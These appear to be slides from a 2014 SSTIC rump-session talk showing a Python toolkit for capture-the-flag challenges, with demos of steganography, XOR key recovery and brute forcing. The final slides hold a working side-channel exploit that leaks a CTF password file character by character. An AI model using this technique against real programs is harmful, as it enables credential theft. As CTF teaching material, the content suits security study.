ssticy

- Trucs poisseux en python pour résoudre des challenges -

Pierre Bienaimé

SSTIC 2014 - Rump session - 5 juin 2014

ssticy

>>>

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
USELESS.COLORS           USELESS.default_mode    USELESS.wtf_mode
USELESS.PROMPT_MODE      USELESS.default_prompt
USELESS.chameleon_mode   USELESS.prompt
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
USELESS.COLORS           USELESS.default_mode    USELESS.wtf_mode
USELESS.PROMPT_MODE      USELESS.default_prompt
USELESS.chameleon_mode   USELESS.prompt
>>> chameleon_mode()
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
USELESS.COLORS           USELESS.default_mode    USELESS.wtf_mode
USELESS.PROMPT_MODE      USELESS.default_prompt
USELESS.chameleon_mode   USELESS.prompt
>>> chameleon_mode()
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
USELESS.COLORS           USELESS.default_mode    USELESS.wtf_mode
USELESS.PROMPT_MODE      USELESS.default_prompt
USELESS.chameleon_mode   USELESS.prompt
>>> chameleon_mode()
>>>
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
USELESS.COLORS           USELESS.default_mode    USELESS.wtf_mode
USELESS.PROMPT_MODE      USELESS.default_prompt
USELESS.chameleon_mode   USELESS.prompt
>>> chameleon_mode()
>>>
>>>
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> USELESS.
USELESS.COLORS           USELESS.default_mode    USELESS.wtf_mode
USELESS.PROMPT_MODE      USELESS.default_prompt
USELESS.chameleon_mode   USELESS.prompt
>>> chameleon_mode()
>>>
>>>
>>>
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> STEGANO.
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> STEGANO.
STEGANO.gif_dissect     STEGANO.lsb_dump        STEGANO.pixels_dump
STEGANO.jpeg_dissect    STEGANO.lsb_highlight   STEGANO.png_dissect
```

ssticy

ssticy

```
>>> img = read("tete.png")
>>> garbage = png_dissect(img)
[MAGIC] PNG Magic found
[IHDR] First PNG header (size=13) ... crc32 ok
[xxXX] Unknown header (size=122) ... crc32 ok
[iCCP] ICC color profile (size=721) ... crc32 ok
[xxXX] Unknown header (size=123) ... crc32 ok
[pHYs] Intended pixel size (size=9) ... crc32 ok
[IDAT] Image data (size=136536) ... crc32 ok
[IEND] End of Image (size=0) ... crc32 ok
>>>
```

```
>>> img = read("tete.png")
>>> garbage = png_dissect(img)
[MAGIC] PNG Magic found
[IHDR] First PNG header (size=13) ... crc32 ok
[xxXX] Unknown header (size=122) ... crc32 ok
[iCCP] ICC color profile (size=721) ... crc32 ok
[xxXX] Unknown header (size=123) ... crc32 ok
[pHYs] Intended pixel size (size=9) ... crc32 ok
[IDAT] Image data (size=136536) ... crc32 ok
[IEND] End of Image (size=0) ... crc32 ok
>>> garbage
{'xxXX': ['x\x9c%\x8eKn\xc30\x0cD\xaf\xa2\x1e\xa0\xb1D}(f\xd9u\xd7]e
CQTm4\x95\x83\xd8N\x80\xde(\xe7\xc8\xc5\xea\xa2\xab\x19\xcc\xc3`\xe6
\xed\xca\xb7\xd9\xbc\x98\x8fy[\x0c\xdf\xf4\xc7\xac\xd7y\xbb=\x1f\xe6
\xac\x8b\xa9s\xef\xcf\xc7n.\xf3v5\xa2FF>\x9f\xb5\x7f\xaa9\x1a\xf7j3
\x132S\x80V\x051\x87H\xd1\xd6l\x819A\xc2l\xb9\x16h\x01cT\x0b\xd5{\x81
P\xb3z', '\xa6\xe8\x12e\xa8\x11\x1b`;\xf5S\x7fg\xb3l\xd3\xaaf\xd1\xff
\x03j&\x99\xf6\x91q]/\xc7a\xb8\xdf\xef\x87\xa9/\xf3w\x9fF\x96\xaf\x83
\x8c\x83\x80\xb7\x8e\x05\xad\r\x14Sd\x10\xa8I\x15\x83B\xe1R\xf9/p\tEX
\x11\x193[p\x1aR\xc9E\xd8\x93E\xcf\xcd\xef\xb8\xb6V\xb2c\xa5\xeawU\x17
```

sstic

```
>>> data = "".join(garbage["xxXX"])
>>> filetype(data)
'zlib stream'
>>>
```

```
>>> data = "".join(garbage["xxXX"])
>>> filetype(data)
'zlib stream'
>>> print data.decode("zlib")
Bravo ! Vous avez trouvé les données pour ce challenge :
1-08a97aa942fdc77845950d802aa626780adb2f4755e02d33c24d8e3a9516
982d57f27f
La suite se trouve ici :
http://www.insomnihack.ch/c2301ac70049565a2c2d6ee74e2babdaa2c2
167ccae77a78a021e46b8bca39073af367cdffb81ae9d3b81e15fc219fbe59
2cc6ae3b3e69240968941b574f044d/
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> HASH.
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> HASH.
HASH.md5      HASH.sha1     HASH.sha256     HASH.sha512
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> HASH.
HASH.md5      HASH.sha1     HASH.sha256     HASH.sha512
>>> hash_length_extension()
```

```
>>> CRYPTO.
CRYPTO.ENGLISH_FREQUENCY
CRYPTO.FRENCH_FREQUENCY
CRYPTO.beaufort_decrypt
CRYPTO.beaufort_encrypt
CRYPTO.blue_decrypt
CRYPTO.blue_encrypt
CRYPTO.byte_frequency
CRYPTO.bz2_ratio
CRYPTO.caesar
CRYPTO.caesar_diff
CRYPTO.char_frequency
CRYPTO.counter
CRYPTO.crc32
CRYPTO.decode_all
CRYPTO.ecm_wrapper
CRYPTO.extended_gcd
CRYPTO.factors
CRYPTO.find_cycle
CRYPTO.flipchar
CRYPTO.is_prime_regex_hack
CRYPTO.kasiski
CRYPTO.letter_diff
CRYPTO.monoalphabetic_remaining
CRYPTO.pgcd
CRYPTO.pollard
CRYPTO.pollard_rho
CRYPTO.replace_alphabet
CRYPTO.rsa_decrypt
CRYPTO.rsa_factorize
CRYPTO.scytale
CRYPTO.standard_deviation
CRYPTO.substitution
CRYPTO.text_to_freq
CRYPTO.trithemius_stegano_decrypt
CRYPTO.vector_distance
CRYPTO.vigenere_alphabet
CRYPTO.vigenere_decrypt
CRYPTO.vigenere_encrypt
```

ssticy

```
CRYPTO.freq_insert                  CRYPTO.vigenere_frequency
CRYPTO.hash_length_extension        CRYPTO.vigenere_plaintext
CRYPTO.is_encrypted                 CRYPTO.vigenere_text_to_freq
CRYPTO.is_prime                     CRYPTO.xor
>>>
```

```
CRYPTO.freq_insert                    CRYPTO.vigenere_frequency
CRYPTO.hash_length_extension          CRYPTO.vigenere_plaintext
CRYPTO.is_encrypted                   CRYPTO.vigenere_text_to_freq
CRYPTO.is_prime                       CRYPTO.xor
>>> txt = "Voici un texte qui contient l'URL http://www.sstic.org
et qui sera chiffré avec un XOR"
>>>
```

sstic

```
CRYPTO.freq_insert                    CRYPTO.vigenere_frequency
CRYPTO.hash_length_extension          CRYPTO.vigenere_plaintext
CRYPTO.is_encrypted                   CRYPTO.vigenere_text_to_freq
CRYPTO.is_prime                       CRYPTO.xor
>>> txt = "Voici un texte qui contient l'URL http://www.sstic.org
et qui sera chiffré avec un XOR"
>>> x = xor(txt, "rumpsstic")
>>>
```

```
CRYPTO.freq_insert                    CRYPTO.vigenere_frequency
CRYPTO.hash_length_extension          CRYPTO.vigenere_plaintext
CRYPTO.is_encrypted                   CRYPTO.vigenere_text_to_freq
CRYPTO.is_prime                       CRYPTO.xor
>>> txt = "Voici un texte qui contient l'URL http://www.sstic.org
et qui sera chiffré avec un XOR"
>>> x = xor(txt, "rumpsstic")
>>> x
'$\x1a\x04\x13\x1aS\x01\x07C\x06\x10\x15\x04\x16S\x05\x1c\nR\x16\x02
\x1e\x07\x1a\x11\x07\x17R\x19J%!?T\x01\x17\x06\x05W_\\\x04\x03\x1eM
\x01\x06\x19\x19\x10]\x1b\x1b\x04R\x10\x19P\x02\x06\x1dI\x10\x17\x07
\x0cP\x10\x1b\x1d\x0f\x05\x00\xb6\xc4P\x12\x05\x11\nC\x07\x1bM(<!'
>>>
```

```
CRYPTO.freq_insert                    CRYPTO.vigenere_frequency
CRYPTO.hash_length_extension          CRYPTO.vigenere_plaintext
CRYPTO.is_encrypted                   CRYPTO.vigenere_text_to_freq
CRYPTO.is_prime                       CRYPTO.xor
>>> txt = "Voici un texte qui contient l'URL http://www.sstic.org
et qui sera chiffré avec un XOR"
>>> x = xor(txt, "rumpsstic")
>>> x
'$\x1a\x04\x13\x1aS\x01\x07C\x06\x10\x15\x04\x16S\x05\x1c\nR\x16\x02
\x1e\x07\x1a\x11\x07\x17R\x19J%!?T\x01\x17\x06\x05W_\\\x04\x03\x1eM
\x01\x06\x19\x19\x10]\x1b\x1b\x04R\x10\x19P\x02\x06\x1dI\x10\x17\x07
\x0cP\x10\x1b\x1d\x0f\x05\x00\xb6\xc4P\x12\x05\x11\nC\x07\x1bM(<!'
>>> xor(x, plaintext="http://www.")
```

```
CRYPTO.freq_insert                    CRYPTO.vigenere_frequency
CRYPTO.hash_length_extension          CRYPTO.vigenere_plaintext
CRYPTO.is_encrypted                   CRYPTO.vigenere_text_to_freq
CRYPTO.is_prime                       CRYPTO.xor
>>> txt = "Voici un texte qui contient l'URL http://www.sstic.org
et qui sera chiffré avec un XOR"
>>> x = xor(txt, "rumpsstic")
>>> x
'$\x1a\x04\x13\x1aS\x01\x07C\x06\x10\x15\x04\x16S\x05\x1c\nR\x16\x02
\x1e\x07\x1a\x11\x07\x17R\x19J%!?T\x01\x17\x06\x05W_\\\x04\x03\x1eM
\x01\x06\x19\x19\x10]\x1b\x1b\x04R\x10\x19P\x02\x06\x1dI\x10\x17\x07
\x0cP\x10\x1b\x1d\x0f\x05\x00\xb6\xc4P\x12\x05\x11\nC\x07\x1bM(<!'
>>> xor(x, plaintext="http://www.")
{'rumpsstic': "Voici un texte qui contient l'URL http://www.sstic.org
et qui sera chiffr\xc3\xa9 avec un XOR"}
```

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce       ALGO.pause_process
ALGO.dichotomy        ALGO.time_attack
>>>
```

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce      ALGO.pause_process
ALGO.dichotomy       ALGO.time_attack
>>> def check_pin(p):
...     return p == "1234"
...
>>>
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce      ALGO.pause_process
ALGO.dichotomy       ALGO.time_attack
>>> def check_pin(p):
...     return p == "1234"
...
>>> bruteforce(check_pin,
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce      ALGO.pause_process
ALGO.dichotomy       ALGO.time_attack
>>> def check_pin(p):
...     return p == "1234"
...
>>> bruteforce(check_pin, charset=NUM,
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce      ALGO.pause_process
ALGO.dichotomy       ALGO.time_attack
>>> def check_pin(p):
...     return p == "1234"
...
>>> bruteforce(check_pin, charset=NUM, length=range(2,5),
```

ssticy

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce      ALGO.pause_process
ALGO.dichotomy       ALGO.time_attack
>>> def check_pin(p):
...     return p == "1234"
...
>>> bruteforce(check_pin, charset=NUM, length=range(2,5), multiproc=3)
```

```
>>>
ALGO      CHARSET   CRYPTO    NETWORK   USELESS   WEB
BINARY    CODEC     HASH      STEGANO   UTIL
>>> ALGO.
ALGO.bruteforce      ALGO.pause_process
ALGO.dichotomy       ALGO.time_attack
>>> def check_pin(p):
...     return p == "1234"
...
>>> bruteforce(check_pin, charset=NUM, length=range(2,5), multiproc=3)
Trying with length = 2
Trying with length = 3
Trying with length = 4
Found : 1234
'1234'
>>>
```

ssticy

```
$ ./level06 /home/the-flag/.password "rumpsstic"
```

ssticy

```
$ ./level06 /home/the-flag/.password "rumpsstic"
Welcome to the password checker!
.........
Ha ha, your password is incorrect!
$
```

sstic

```
#!/usr/bin/env python
from subprocess import Popen, PIPE
import os, time, string

welcome = "Welcome to the password checker!\n"
passwd = ""
r, w = os.pipe()
while True:
    size = 2**16 - len(welcome) - len(passwd) - 1
    for guess in string.letters + string.digits:
        os.write(w, 'A'*size)
        p = Popen(["/levels/level06", "/home/the-flag/.password",
passwd + guess + "foo"], stderr=w, stdout=PIPE)
        time.sleep(0.2)
        p.terminate()
        os.read(r, 2**16+1)
        msg = p.stdout.read()
        if not msg:
            passwd += guess
            print passwd
            break
    if msg:
        break
```

ssticy

```
$ python level06.py
t
th
the
[...]
theflagl0eFTtT5oi0nOTxO
theflagl0eFTtT5oi0nOTxO5
$
```

sstic

```python
from sstic import bruteforce, pause_process

intro = "Welcome to the password checker!\n"

def check(passwd):
    cmd = ["/levels/level06", "/home/the-flag/.password", passwd+"foo"]
    p = pause_process(cmd, len(intro)+len(passwd), buf="stderr")
    p.clear()
    return "Ha ha" not in p.stdout

print bruteforce(check, incremental=True)
```

Question 1 : C'est open-source ?

Question 1 : C'est open-source ?

Question 2 : Pourquoi tu nous présentes ton truc si c'est pas open-source ?

Questions ?

Pierre Bienaimé

 @PierreBienaime